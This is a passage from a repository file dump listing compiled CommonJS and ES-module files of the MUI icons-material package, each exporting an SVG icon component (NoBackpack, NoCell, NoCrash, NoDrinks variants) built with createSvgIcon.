10.61-.85-.85c-.28.15-.59.24-.93.24H6c-1.1 0-2-.9-2-2V8c0-.36.06-.69.15-1.02L1.39 4.22 2.8 2.81l18.38 18.38zM17.17 20l-6-6H7.5v-2h1.67L6 8.83V20z\"\n}, \"1\")], 'NoBackpackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoBackpackTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 15.17V8c0-1.1-.9-2-2-2H8.83l6 6h1.67v1.67zM17.17 20l-6-6H7.5v-2h1.67L6 8.83V20z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.98 4.15c.01 0 .01-.01.02-.01V2h3v2h4V2h3v2.14c1.72.45 3 2 3 3.86v9.17l-2-2V8c0-1.1-.9-2-2-2H8.83zM14.83 12l1.67 1.67V12zm4.95 10.61-.85-.85c-.28.15-.59.24-.93.24H6c-1.1 0-2-.9-2-2V8c0-.36.06-.69.15-1.02L1.39 4.22 2.8 2.81l18.38 18.38zM17.17 20l-6-6H7.5v-2h1.67L6 8.83V20z\"\n}, \"1\")], 'NoBackpackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCell.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.83 6-3.7-3.7C5.42 1.55 6.15 1 7 1l10 .01c1.1 0 2 .89 2 1.99v13.17l-2-2V6zm10.95 16.61-.91-.91c-.29.75-1.02 1.3-1.87 1.3H7c-1.1 0-2-.9-2-2V7.83L1.39 4.22 2.8 2.81l18.38 18.38zM15.17 18 7 9.83V18z\"\n}), 'NoCell');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCell.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.83 6-3.7-3.7C5.42 1.55 6.15 1 7 1l10 .01c1.1 0 2 .89 2 1.99v13.17l-2-2V6zm10.95 16.61-.91-.91c-.29.75-1.02 1.3-1.87 1.3H7c-1.1 0-2-.9-2-2V7.83L1.39 4.22 2.8 2.81l18.38 18.38zM15.17 18 7 9.83V18z\"\n}), 'NoCell');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCellOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 6v8.17l2 2V3c0-1.1-.9-1.99-2-1.99L7 1c-.85 0-1.58.55-1.87 1.3L8.83 6zM7 3h10v1H7zm14.19 18.19L19 19l-2-2L7 7 5 5 2.81 2.81 1.39 4.22 5 7.83V21c0 1.1.9 2 2 2h10c.85 0 1.58-.55 1.87-1.3l.91.91zM17 21H7v-1h10zM7 18V9.83L15.17 18z\"\n}), 'NoCellOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCellOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6v8.17l2 2V3c0-1.1-.9-1.99-2-1.99L7 1c-.85 0-1.58.55-1.87 1.3L8.83 6zM7 3h10v1H7zm14.19 18.19L19 19l-2-2L7 7 5 5 2.81 2.81 1.39 4.22 5 7.83V21c0 1.1.9 2 2 2h10c.85 0 1.58-.55 1.87-1.3l.91.91zM17 21H7v-1h10zM7 18V9.83L15.17 18z\"\n}), 'NoCellOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCellRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.83 6-3.7-3.7C5.42 1.55 6.15 1 7 1l10 .01c1.1 0 2 .89 2 1.99v13.17l-2-2V6zm11.66 15.9c-.39.39-1.02.39-1.41 0l-.2-.2c-.3.75-1.03 1.3-1.88 1.3H7c-1.1 0-2-.9-2-2V7.83l-2.9-2.9a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.97 16.97c.4.39.4 1.02.01 1.41M15.17 18 7 9.83V18z\"\n}), 'NoCellRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCellRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.83 6-3.7-3.7C5.42 1.55 6.15 1 7 1l10 .01c1.1 0 2 .89 2 1.99v13.17l-2-2V6zm11.66 15.9c-.39.39-1.02.39-1.41 0l-.2-.2c-.3.75-1.03 1.3-1.88 1.3H7c-1.1 0-2-.9-2-2V7.83l-2.9-2.9a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.97 16.97c.4.39.4 1.02.01 1.41M15.17 18 7 9.83V18z\"\n}), 'NoCellRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCellSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22 5 7.83V23h14v-1.17l.78.78zM7 18V9.83L15.17 18zM8.83 6 5 2.17V1h14v15.17l-2-2V6z\"\n}), 'NoCellSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCellSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22 5 7.83V23h14v-1.17l.78.78zM7 18V9.83L15.17 18zM8.83 6 5 2.17V1h14v15.17l-2-2V6z\"\n}), 'NoCellSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCellTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 21h10v-1H7zM7 3v1h10V3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 6v8.17l2 2V3c0-1.1-.9-1.99-2-1.99L7 1c-.85 0-1.58.55-1.87 1.3L8.83 6zM7 3h10v1H7zm14.19 18.19L2.81 2.81 1.39 4.22 5 7.83V21c0 1.1.9 2 2 2h10c.85 0 1.58-.55 1.87-1.3l.91.91zM17 21H7v-1h10zM7 18V9.83L15.17 18z\"\n}, \"1\")], 'NoCellTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCellTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 21h10v-1H7zM7 3v1h10V3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 6v8.17l2 2V3c0-1.1-.9-1.99-2-1.99L7 1c-.85 0-1.58.55-1.87 1.3L8.83 6zM7 3h10v1H7zm14.19 18.19L2.81 2.81 1.39 4.22 5 7.83V21c0 1.1.9 2 2 2h10c.85 0 1.58-.55 1.87-1.3l.91.91zM17 21H7v-1h10zM7 18V9.83L15.17 18z\"\n}, \"1\")], 'NoCellTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCrash.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 9.01C18.72 8.42 18.16 8 17.5 8h-11c-.66 0-1.21.42-1.42 1.01L3 15v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 10h10.29l1.04 3H5.81zM6 17.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 19 7.5 19 6 18.33 6 17.5m9 0c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5M12 6.36 9.17 3.54l1.41-1.41L12 3.54 15.54 0l1.41 1.41z\"\n}), 'NoCrash');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCrash.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 9.01C18.72 8.42 18.16 8 17.5 8h-11c-.66 0-1.21.42-1.42 1.01L3 15v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 10h10.29l1.04 3H5.81zM6 17.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 19 7.5 19 6 18.33 6 17.5m9 0c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5M12 6.36 9.17 3.54l1.41-1.41L12 3.54 15.54 0l1.41 1.41z\"\n}), 'NoCrash');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCrashOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 9.01C18.72 8.42 18.16 8 17.5 8h-11c-.66 0-1.21.42-1.42 1.01L3 15v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 10h10.29l1.04 3H5.81zM19 20H5v-5h14zM6 17.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 19 7.5 19 6 18.33 6 17.5m9 0c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5M12 6.36 9.17 3.54l1.41-1.41L12 3.54 15.54 0l1.41 1.41z\"\n}), 'NoCrashOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCrashOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 9.01C18.72 8.42 18.16 8 17.5 8h-11c-.66 0-1.21.42-1.42 1.01L3 15v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 10h10.29l1.04 3H5.81zM19 20H5v-5h14zM6 17.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 19 7.5 19 6 18.33 6 17.5m9 0c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5M12 6.36 9.17 3.54l1.41-1.41L12 3.54 15.54 0l1.41 1.41z\"\n}), 'NoCrashOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCrashRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 24c.82 0 1.5-.67 1.5-1.5v-7.16c0-.22-.04-.45-.11-.66l-1.97-5.67C18.72 8.42 18.16 8 17.5 8h-11c-.66 0-1.21.42-1.42 1.01l-1.97 5.67c-.07.21-.11.43-.11.66v7.16c0 .83.68 1.5 1.5 1.5S6 23.33 6 22.5V22h12v.5c0 .83.67 1.5 1.5 1.5M6.85 10h10.29l1.04 3H5.81zM6 17.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 19 7.5 19 6 18.33 6 17.5m9 0c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5M16.24.71c.39.39.39 1.02 0 1.41L12.7 5.66c-.39.39-1.02.39-1.41 0L9.88 4.24a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l.71.71L14.83.71c.39-.39 1.02-.39 1.41 0\"\n}), 'NoCrashRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCrashRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 24c.82 0 1.5-.67 1.5-1.5v-7.16c0-.22-.04-.45-.11-.66l-1.97-5.67C18.72 8.42 18.16 8 17.5 8h-11c-.66 0-1.21.42-1.42 1.01l-1.97 5.67c-.07.21-.11.43-.11.66v7.16c0 .83.68 1.5 1.5 1.5S6 23.33 6 22.5V22h12v.5c0 .83.67 1.5 1.5 1.5M6.85 10h10.29l1.04 3H5.81zM6 17.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 19 7.5 19 6 18.33 6 17.5m9 0c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5M16.24.71c.39.39.39 1.02 0 1.41L12.7 5.66c-.39.39-1.02.39-1.41 0L9.88 4.24a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l.71.71L14.83.71c.39-.39 1.02-.39 1.41 0\"\n}), 'NoCrashRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCrashSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.57 8H5.43L3 15v9h3v-2h12v2h3v-9zM6.85 10h10.29l1.04 3H5.81zM6 17.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 19 7.5 19 6 18.33 6 17.5m9 0c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5M12 6.36 9.17 3.54l1.41-1.41L12 3.54 15.54 0l1.41 1.41z\"\n}), 'NoCrashSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCrashSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.57 8H5.43L3 15v9h3v-2h12v2h3v-9zM6.85 10h10.29l1.04 3H5.81zM6 17.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 19 7.5 19 6 18.33 6 17.5m9 0c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5M12 6.36 9.17 3.54l1.41-1.41L12 3.54 15.54 0l1.41 1.41z\"\n}), 'NoCrashSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCrashTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15v5h14v-5zm2.5 4c-.83 0-1.5-.67-1.5-1.5S6.67 16 7.5 16s1.5.67 1.5 1.5S8.33 19 7.5 19m9 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 9.01C18.72 8.42 18.16 8 17.5 8h-11c-.66 0-1.21.42-1.42 1.01L3 15v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 10h10.29l1.04 3H5.81zM19 20H5v-5h14zM6 17.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 19 7.5 19 6 18.33 6 17.5m9 0c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5M12 6.36 9.17 3.54l1.41-1.41L12 3.54 15.54 0l1.41 1.41z\"\n}, \"1\")], 'NoCrashTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoCrashTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15v5h14v-5zm2.5 4c-.83 0-1.5-.67-1.5-1.5S6.67 16 7.5 16s1.5.67 1.5 1.5S8.33 19 7.5 19m9 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 9.01C18.72 8.42 18.16 8 17.5 8h-11c-.66 0-1.21.42-1.42 1.01L3 15v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 10h10.29l1.04 3H5.81zM19 20H5v-5h14zM6 17.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 19 7.5 19 6 18.33 6 17.5m9 0c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5M12 6.36 9.17 3.54l1.41-1.41L12 3.54 15.54 0l1.41 1.41z\"\n}, \"1\")], 'NoCrashTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoDrinks.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.83 3H21v2l-6.2 6.97L9.83 7h6.74l1.78-2H7.83zm13.95 19.61L18 20.83V21H6v-2h5v-5l-1.37-1.54-8.24-8.24L2.8 2.81 3 3l18.19 18.19zM16.17 19 13 15.83V19z\"\n}), 'NoDrinks');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoDrinks.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.83 3H21v2l-6.2 6.97L9.83 7h6.74l1.78-2H7.83zm13.95 19.61L18 20.83V21H6v-2h5v-5l-1.37-1.54-8.24-8.24L2.8 2.81 3 3l18.19 18.19zM16.17 19 13 15.83V19z\"\n}), 'NoDrinks');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoDrinksOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l8.23 8.23L11 14v5H6v2h12v-.17l1.78 1.78zM13 19v-3.17L16.17 19zM7.83 5l-2-2H21v2l-6.2 6.97-1.42-1.42L14.77 9h-2.94l-2-2h6.74l1.78-2z\"\n}), 'NoDrinksOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoDrinksOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l8.23 8.23L11 14v5H6v2h12v-.17l1.78 1.78zM13 19v-3.17L16.17 19zM7.83 5l-2-2H21v2l-6.2 6.97-1.42-1.42L14.77 9h-2.94l-2-2h6.74l1.78-2z\"\n}), 'NoDrinksOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoDrinksRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.49 20.49 3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l7.54 7.54L11 14v5H7c-.55 0-1 .45-1 1s.45 1 1 1h10c.32 0 .59-.16.78-.4l1.3 1.3c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41M13 19v-3.17L16.17 19zM7.83 5l-2-2h13.72c.8 0 1.45.65 1.45 1.45 0 .35-.13.7-.37.96l-5.83 6.56L9.83 7h6.74l1.78-2z\"\n}), 'NoDrinksRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoDrinksRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.49 20.49 3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l7.54 7.54L11 14v5H7c-.55 0-1 .45-1 1s.45 1 1 1h10c.32 0 .59-.16.78-.4l1.3 1.3c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41M13 19v-3.17L16.17 19zM7.83 5l-2-2h13.72c.8 0 1.45.65 1.45 1.45 0 .35-.13.7-.37.96l-5.83 6.56L9.83 7h6.74l1.78-2z\"\n}), 'NoDrinksRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoDrinksSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l8.23 8.23L11 14v5H6v2h12v-.17l1.78 1.78zM13 19v-3.17L16.17 19zM7.83 5l-2-2H21v2l-6.2 6.97L9.83 7h6.74l1.78-2z\"\n}), 'NoDrinksSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoDrinksSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l8.23 8.23L11 14v5H6v2h12v-.17l1.78 1.78zM13 19v-3.17L16.17 19zM7.83 5l-2-2H21v2l-6.2 6.97L9.83 7h6.74l1.78-2z\"\n}), 'NoDrinksSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoDrinksTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.77 9h-2.94l1.55 1.56z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l8.23 8.23L11 14v5H6v2h12v-.17l1.78 1.78zM13 19v-3.17L16.17 19zM7.83 5l-2-2H21v2l-6.2 6.97-1.42-1.42L14.77 9h-2.94l-2-2h6.74l1.78-2z\"\n}, \"1\")], 'NoDrinksTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NoDrinksTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.77 9h-2.94l1.55 1.56z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.19 21.19 2.81 2.81 1.39 4.22l8.23 8.23L11 14v5H6v2h12v-.17l1.78 1.78zM13 19v-3.17L16.17 19zM7.83 5l-2-2H21v2l-6.2 6.97-1.42-1.42L14.77 9h-2.94l-2-2h6.74l1.78-2z\"\n}, \"1\")], 'NoDrinksTwoTone');"
  },
